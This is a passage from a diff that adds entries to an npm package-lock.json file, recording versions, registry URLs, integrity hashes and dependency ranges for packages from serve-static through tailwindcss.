+      "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A=="
+    },
+    "node_modules/serve-index/node_modules/setprototypeof": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
+      "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ=="
+    },
+    "node_modules/serve-index/node_modules/statuses": {
+      "version": "1.5.0",
+      "resolved": "https://registry.npmjs.org/statuses/-/statuses-1.5.0.tgz",
+      "integrity": "sha512-OpZ3zP+jT1PI7I8nemJX4AKmAX070ZkYPVWV/AaKTJl+tXCTGyVdC1a4SL8RUQYEwk/f34ZX8UTykN68FwrqAA==",
+      "engines": {
+        "node": ">= 0.6"
+      }
+    },
+    "node_modules/serve-static": {
+      "version": "1.16.2",
+      "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-1.16.2.tgz",
+      "integrity": "sha512-VqpjJZKadQB/PEbEwvFdO43Ax5dFBZ2UECszz8bQ7pi7wt//PWe1P6MN7eCnjsatYtBT6EuiClbjSWP2WrIoTw==",
+      "dependencies": {
+        "encodeurl": "~2.0.0",
+        "escape-html": "~1.0.3",
+        "parseurl": "~1.3.3",
+        "send": "0.19.0"
+      },
+      "engines": {
+        "node": ">= 0.8.0"
+      }
+    },
+    "node_modules/set-function-length": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
+      "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
+      "dependencies": {
+        "define-data-property": "^1.1.4",
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "get-intrinsic": "^1.2.4",
+        "gopd": "^1.0.1",
+        "has-property-descriptors": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/setprototypeof": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz",
+      "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw=="
+    },
+    "node_modules/shebang-command": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz",
+      "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==",
+      "dependencies": {
+        "shebang-regex": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/shebang-regex": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz",
+      "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/shell-quote": {
+      "version": "1.7.3",
+      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.7.3.tgz",
+      "integrity": "sha512-Vpfqwm4EnqGdlsBFNmHhxhElJYrdfcxPThu+ryKS5J8L/fhAwLazFZtq+S+TWZ9ANj2piSQLGj6NQg+lKPmxrw=="
+    },
+    "node_modules/side-channel": {
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.6.tgz",
+      "integrity": "sha512-fDW/EZ6Q9RiO8eFG8Hj+7u/oW+XrPTIChwCOM2+th2A6OblDtYYIpve9m+KvI9Z4C9qSEXlaGR6bTEYHReuglA==",
+      "dependencies": {
+        "call-bind": "^1.0.7",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.4",
+        "object-inspect": "^1.13.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/signal-exit": {
+      "version": "3.0.7",
+      "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz",
+      "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="
+    },
+    "node_modules/sisteransi": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
+      "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg=="
+    },
+    "node_modules/slash": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz",
+      "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/sockjs": {
+      "version": "0.3.24",
+      "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz",
+      "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==",
+      "dependencies": {
+        "faye-websocket": "^0.11.3",
+        "uuid": "^8.3.2",
+        "websocket-driver": "^0.7.4"
+      }
+    },
+    "node_modules/source-list-map": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz",
+      "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw=="
+    },
+    "node_modules/source-map": {
+      "version": "0.6.1",
+      "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+      "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/source-map-js": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz",
+      "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==",
+      "engines": {
+        "node": ">=0.10.0"
+      }
+    },
+    "node_modules/source-map-loader": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/source-map-loader/-/source-map-loader-3.0.1.tgz",
+      "integrity": "sha512-Vp1UsfyPvgujKQzi4pyDiTOnE3E4H+yHvkVRN3c/9PJmQS4CQJExvcDvaX/D+RV+xQben9HJ56jMJS3CgUeWyA==",
+      "dependencies": {
+        "abab": "^2.0.5",
+        "iconv-lite": "^0.6.3",
+        "source-map-js": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.0.0"
+      }
+    },
+    "node_modules/source-map-resolve": {
+      "version": "0.5.3",
+      "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz",
+      "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==",
+      "deprecated": "See https://github.com/lydell/source-map-resolve#deprecated",
+      "dependencies": {
+        "atob": "^2.1.2",
+        "decode-uri-component": "^0.2.0",
+        "resolve-url": "^0.2.1",
+        "source-map-url": "^0.4.0",
+        "urix": "^0.1.0"
+      }
+    },
+    "node_modules/source-map-support": {
+      "version": "0.5.21",
+      "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
+      "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
+      "dependencies": {
+        "buffer-from": "^1.0.0",
+        "source-map": "^0.6.0"
+      }
+    },
+    "node_modules/source-map-url": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.0.tgz",
+      "integrity": "sha1-PpNdfd1zYxuXZZlW1VEo6HtQhKM=",
+      "deprecated": "See https://github.com/lydell/source-map-url#deprecated"
+    },
+    "node_modules/sourcemap-codec": {
+      "version": "1.4.8",
+      "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz",
+      "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA=="
+    },
+    "node_modules/spdy": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz",
+      "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==",
+      "dependencies": {
+        "debug": "^4.1.0",
+        "handle-thing": "^2.0.0",
+        "http-deceiver": "^1.2.7",
+        "select-hose": "^2.0.0",
+        "spdy-transport": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=6.0.0"
+      }
+    },
+    "node_modules/spdy-transport": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz",
+      "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==",
+      "dependencies": {
+        "debug": "^4.1.0",
+        "detect-node": "^2.0.4",
+        "hpack.js": "^2.1.6",
+        "obuf": "^1.1.2",
+        "readable-stream": "^3.0.6",
+        "wbuf": "^1.7.3"
+      }
+    },
+    "node_modules/sprintf-js": {
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
+      "integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g=="
+    },
+    "node_modules/stable": {
+      "version": "0.1.8",
+      "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz",
+      "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w==",
+      "deprecated": "Modern JS already guarantees Array#sort() is a stable sort, so this library is deprecated. See the compatibility table on MDN: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#browser_compatibility"
+    },
+    "node_modules/stack-utils": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/stack-utils/-/stack-utils-2.0.5.tgz",
+      "integrity": "sha512-xrQcmYhOsn/1kX+Vraq+7j4oE2j/6BFscZ0etmYg81xuM8Gq0022Pxb8+IqgOFUIaxHs0KaSb7T1+OegiNrNFA==",
+      "dependencies": {
+        "escape-string-regexp": "^2.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/stack-utils/node_modules/escape-string-regexp": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-2.0.0.tgz",
+      "integrity": "sha512-UpzcLCXolUWcNu5HtVMHYdXJjArjsF9C0aNnquZYY4uW/Vu0miy5YoWvbV345HauVvcAUnpRuhMMcqTcGOY2+w==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/stackframe": {
+      "version": "1.3.4",
+      "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz",
+      "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw=="
+    },
+    "node_modules/statuses": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
+      "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ==",
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/string_decoder": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
+      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
+      "dependencies": {
+        "safe-buffer": "~5.2.0"
+      }
+    },
+    "node_modules/string_decoder/node_modules/safe-buffer": {
+      "version": "5.2.1",
+      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
+      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/feross"
+        },
+        {
+          "type": "patreon",
+          "url": "https://www.patreon.com/feross"
+        },
+        {
+          "type": "consulting",
+          "url": "https://feross.org/support"
+        }
+      ]
+    },
+    "node_modules/string-length": {
+      "version": "4.0.2",
+      "resolved": "https://registry.npmjs.org/string-length/-/string-length-4.0.2.tgz",
+      "integrity": "sha512-+l6rNN5fYHNhZZy41RXsYptCjA2Igmq4EG7kZAYFQI1E1VTXarr6ZPXBg6eq7Y6eK4FEhY6AJlyuFIb/v/S0VQ==",
+      "dependencies": {
+        "char-regex": "^1.0.2",
+        "strip-ansi": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/string-natural-compare": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/string-natural-compare/-/string-natural-compare-3.0.1.tgz",
+      "integrity": "sha512-n3sPwynL1nwKi3WJ6AIsClwBMa0zTi54fn2oLU6ndfTSIO05xaznjSf15PcBZU6FNWbmN5Q6cxT4V5hGvB4taw=="
+    },
+    "node_modules/string-width": {
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+      "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+      "dependencies": {
+        "emoji-regex": "^8.0.0",
+        "is-fullwidth-code-point": "^3.0.0",
+        "strip-ansi": "^6.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/string-width/node_modules/emoji-regex": {
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+      "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+    },
+    "node_modules/string.prototype.matchall": {
+      "version": "4.0.7",
+      "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.7.tgz",
+      "integrity": "sha512-f48okCX7JiwVi1NXCVWcFnZgADDC/n2vePlQ/KUCNqCikLLilQvwjMO8+BHVKvgzH0JB0J9LEPgxOGT02RoETg==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.19.1",
+        "get-intrinsic": "^1.1.1",
+        "has-symbols": "^1.0.3",
+        "internal-slot": "^1.0.3",
+        "regexp.prototype.flags": "^1.4.1",
+        "side-channel": "^1.0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/string.prototype.trimend": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.5.tgz",
+      "integrity": "sha512-I7RGvmjV4pJ7O3kdf+LXFpVfdNOxtCW/2C8f6jNiW4+PQchwxkCDzlk1/7p+Wl4bqFIZeF47qAHXLuHHWKAxog==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/string.prototype.trimstart": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.5.tgz",
+      "integrity": "sha512-THx16TJCGlsN0o6dl2o6ncWUsdgnLRSA23rRE5pyGBw/mLr3Ej/R2LaqCtgP8VNMGZsvMWnf9ooZPyY2bHvUFg==",
+      "dependencies": {
+        "call-bind": "^1.0.2",
+        "define-properties": "^1.1.4",
+        "es-abstract": "^1.19.5"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/stringify-object": {
+      "version": "3.3.0",
+      "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz",
+      "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==",
+      "dependencies": {
+        "get-own-enumerable-property-symbols": "^3.0.0",
+        "is-obj": "^1.0.1",
+        "is-regexp": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/strip-ansi": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz",
+      "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-ansi/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-bom": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-4.0.0.tgz",
+      "integrity": "sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-comments": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-2.0.1.tgz",
+      "integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==",
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/strip-final-newline": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz",
+      "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA==",
+      "engines": {
+        "node": ">=6"
+      }
+    },
+    "node_modules/strip-indent": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
+      "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
+      "dependencies": {
+        "min-indent": "^1.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/strip-json-comments": {
+      "version": "3.1.1",
+      "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
+      "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==",
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/style-loader": {
+      "version": "3.3.1",
+      "resolved": "https://registry.npmjs.org/style-loader/-/style-loader-3.3.1.tgz",
+      "integrity": "sha512-GPcQ+LDJbrcxHORTRes6Jy2sfvK2kS6hpSfI/fXhPt+spVzxF6LJ1dHLN9zIGmVaaP044YKaIatFaufENRiDoQ==",
+      "engines": {
+        "node": ">= 12.13.0"
+      },
+      "funding": {
+        "type": "opencollective",
+        "url": "https://opencollective.com/webpack"
+      },
+      "peerDependencies": {
+        "webpack": "^5.0.0"
+      }
+    },
+    "node_modules/stylehacks": {
+      "version": "5.1.0",
+      "resolved": "https://registry.npmjs.org/stylehacks/-/stylehacks-5.1.0.tgz",
+      "integrity": "sha512-SzLmvHQTrIWfSgljkQCw2++C9+Ne91d/6Sp92I8c5uHTcy/PgeHamwITIbBW9wnFTY/3ZfSXR9HIL6Ikqmcu6Q==",
+      "dependencies": {
+        "browserslist": "^4.16.6",
+        "postcss-selector-parser": "^6.0.4"
+      },
+      "engines": {
+        "node": "^10 || ^12 || >=14.0"
+      },
+      "peerDependencies": {
+        "postcss": "^8.2.15"
+      }
+    },
+    "node_modules/supports-color": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+      "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+      "dependencies": {
+        "has-flag": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/supports-hyperlinks": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/supports-hyperlinks/-/supports-hyperlinks-2.3.0.tgz",
+      "integrity": "sha512-RpsAZlpWcDwOPQA22aCH4J0t7L8JmAvsCxfOSEwm7cQs3LshN36QaTkwd70DnBOXDWGssw2eUoc8CaRWT0XunA==",
+      "dependencies": {
+        "has-flag": "^4.0.0",
+        "supports-color": "^7.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/supports-hyperlinks/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/supports-hyperlinks/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/supports-preserve-symlinks-flag": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+      "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/svg-parser": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/svg-parser/-/svg-parser-2.0.4.tgz",
+      "integrity": "sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ=="
+    },
+    "node_modules/svgo": {
+      "version": "1.3.2",
+      "resolved": "https://registry.npmjs.org/svgo/-/svgo-1.3.2.tgz",
+      "integrity": "sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw==",
+      "deprecated": "This SVGO version is no longer supported. Upgrade to v2.x.x.",
+      "dependencies": {
+        "chalk": "^2.4.1",
+        "coa": "^2.0.2",
+        "css-select": "^2.0.0",
+        "css-select-base-adapter": "^0.1.1",
+        "css-tree": "1.0.0-alpha.37",
+        "csso": "^4.0.2",
+        "js-yaml": "^3.13.1",
+        "mkdirp": "~0.5.1",
+        "object.values": "^1.1.0",
+        "sax": "~1.2.4",
+        "stable": "^0.1.8",
+        "unquote": "~1.1.1",
+        "util.promisify": "~1.0.0"
+      },
+      "bin": {
+        "svgo": "bin/svgo"
+      },
+      "engines": {
+        "node": ">=4.0.0"
+      }
+    },
+    "node_modules/svgo/node_modules/css-select": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/css-select/-/css-select-2.1.0.tgz",
+      "integrity": "sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==",
+      "dependencies": {
+        "boolbase": "^1.0.0",
+        "css-what": "^3.2.1",
+        "domutils": "^1.7.0",
+        "nth-check": "^1.0.2"
+      }
+    },
+    "node_modules/svgo/node_modules/css-what": {
+      "version": "3.4.2",
+      "resolved": "https://registry.npmjs.org/css-what/-/css-what-3.4.2.tgz",
+      "integrity": "sha512-ACUm3L0/jiZTqfzRM3Hi9Q8eZqd6IK37mMWPLz9PJxkLWllYeRf+EHUSHYEtFop2Eqytaq1FizFVh7XfBnXCDQ==",
+      "engines": {
+        "node": ">= 6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/svgo/node_modules/dom-serializer": {
+      "version": "0.2.2",
+      "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-0.2.2.tgz",
+      "integrity": "sha512-2/xPb3ORsQ42nHYiSunXkDjPLBaEj/xTwUO4B7XCZQTRk7EBtTOPaygh10YAAh2OI1Qrp6NWfpAhzswj0ydt9g==",
+      "dependencies": {
+        "domelementtype": "^2.0.1",
+        "entities": "^2.0.0"
+      }
+    },
+    "node_modules/svgo/node_modules/domutils": {
+      "version": "1.7.0",
+      "resolved": "https://registry.npmjs.org/domutils/-/domutils-1.7.0.tgz",
+      "integrity": "sha512-Lgd2XcJ/NjEw+7tFvfKxOzCYKZsdct5lczQ2ZaQY8Djz7pfAD3Gbp8ySJWtreII/vDlMVmxwa6pHmdxIYgttDg==",
+      "dependencies": {
+        "dom-serializer": "0",
+        "domelementtype": "1"
+      }
+    },
+    "node_modules/svgo/node_modules/domutils/node_modules/domelementtype": {
+      "version": "1.3.1",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-1.3.1.tgz",
+      "integrity": "sha512-BSKB+TSpMpFI/HOxCNr1O8aMOTZ8hT3pM3GQ0w/mWRmkhEDSFJkkyzz4XQsBV44BChwGkrDfMyjVD0eA2aFV3w=="
+    },
+    "node_modules/svgo/node_modules/nth-check": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz",
+      "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==",
+      "dependencies": {
+        "boolbase": "~1.0.0"
+      }
+    },
+    "node_modules/symbol-tree": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
+      "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw=="
+    },
+    "node_modules/tailwindcss": {
+      "version": "3.1.8",
+      "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.1.8.tgz",
+      "integrity": "sha512-YSneUCZSFDYMwk+TGq8qYFdCA3yfBRdBlS7txSq0LUmzyeqRe3a8fBQzbz9M3WS/iFT4BNf/nmw9mEzrnSaC0g==",
+      "dependencies": {
+        "arg": "^5.0.2",
